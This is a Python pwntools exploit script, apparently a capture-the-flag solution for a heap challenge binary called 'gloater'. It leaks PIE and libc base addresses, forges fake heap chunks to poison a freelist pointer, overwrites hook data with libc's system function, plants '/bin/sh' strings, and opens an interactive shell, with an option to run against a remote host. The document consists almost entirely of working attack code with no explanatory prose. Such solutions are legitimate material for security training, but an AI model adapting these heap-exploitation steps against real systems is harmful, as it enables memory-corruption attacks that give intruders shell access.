libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def launch_gdb(breakpoints=[], cmds=[]):
if args.NOPTRACE:
return
info("Attaching Debugger")
cmds.append('handle SIGALRM ignore')
for b in breakpoints:
if binary.address == 0:
warning("Setting relative Breakpoints but binary has not been rebased")
cmds.insert(0,'b *' + str(binary.address + b))
gdb.attach(io, gdbscript='\n'.join(cmds))
#time.sleep(2) # Wait for gdb to start, dirty hacks are dirty
def update(data):
sla(b'> ', b'1')
sa(b'User: ', data)
def create(target, data, skip = False):
sla(b'> ', b'2')
sa(b'target: ', target)
if not skip:
sa(b'Taunt: ', data)
def remove(idx):
sla(b'> ', b'3')
sla(b'Index: ', idx)
def setsuper(idx, data): # or as i call, getleak
sla(b'> ', b'5')
sla(b'Taunt:', idx)
sa(b'taunt:', data)
return ru(b'Registered')
def pieleak():
pieleak = uu64(setsuper(b'0', b'D'*0x58)[-7:-1])
binary.address = pieleak - 0x1a85
success(f"LEAK {hex(pieleak)}")
success(f"PIE {hex(binary.address)}")
print(f"data @ {hex(binary.symbols['user'])}")
return
def libcleak():
leak = uu64(setsuper(b'0', b'D'*0x88)[-7:-1])
if not args.REMOTE:
libc.address = leak-0x84420
else:
libc.address = leak-0x875a0
success(f"LEAK {hex(leak)}")
success(f"LIBC {hex(libc.address)}")
if __name__ == '__main__':
# call with REMOTE to run against live target
if args.REMOTE:
args.NOPTRACE = True # disable gdb when working remote
io = remote(host, port)
else:
context.terminal = ['tmux', 'splitw', '-h']
io = process('/home/ctf/gloater')
if not args.REMOTE:
for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
mmap = mmap.decode()
if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
binary.address = int(mmap.split('-')[0],16)
break
sa(b'> ', b'A')
launch_gdb(breakpoints=[0x1313], cmds=['c'])
# === Align Heap to start at some low 0xY3XX Address
create(b'A', b'B'*0x1F, True)
create(b'A', b'B'*0x1F, True)
create(b'A', b'B'*0x1F, True)
# ======
create(b'B'*24+b'\x31', p64(0)*3+b'B'*(0x2F-24)) # Fake Chunks are fake
create(b'C'*0x1F, b'C'*0x2F)
create(b'D'*0x1F, b'D'*0x2F)
create(b'E'*0x1F, b'D'*0x1F)
remove(b'2') # Yo this is crucial and I dont know why, lul
pieleak()
info('remove Taunt 0')
remove(b'0')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\x50')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')
info(f'Create Taunt 3 - Overwrite FD with {hex(binary.symbols["user_changed"])}')
create(b'X'*16+p64(binary.symbols['super_taunt']),b'Y'*0x3F)
info('Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'Z'*0x2F)
info('Create Taunt 5 - Write at faked FD')
info('create 0')
create(b'XXXXXXXX', p64(0)+p64(0)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)+p64(0))
# ==== STAGE 2 =====
info('create 1')
create(b'B'*0x1F, b'B'*0x2F)
info('create 2')
create(b'C'*24+b'\x31', p64(0)*3+b'C'*(0x2F-24))
info('create 3')
create(b'D'*0x1F, b'D'*0x2F)
remove(b'3') #You know why, right? :D
libcleak()
info('remove Taunt 2')
remove(b'2')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\xc0')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')
info(f'Create Taunt 4 - Overwrite FD with {hex(binary.symbols["old_free_hook"])}')
create(b'X'*16+p64(binary.symbols['old_malloc_hook']+8),b'Y'*0x3F)
info('Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'/bin/sh\x00'*6)
info('Create Taunt 6 - Write at faked FD')
create(b'AAAAA', p64(libc.symbols['system'])+p64(5)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)*2)
io.interactive()
|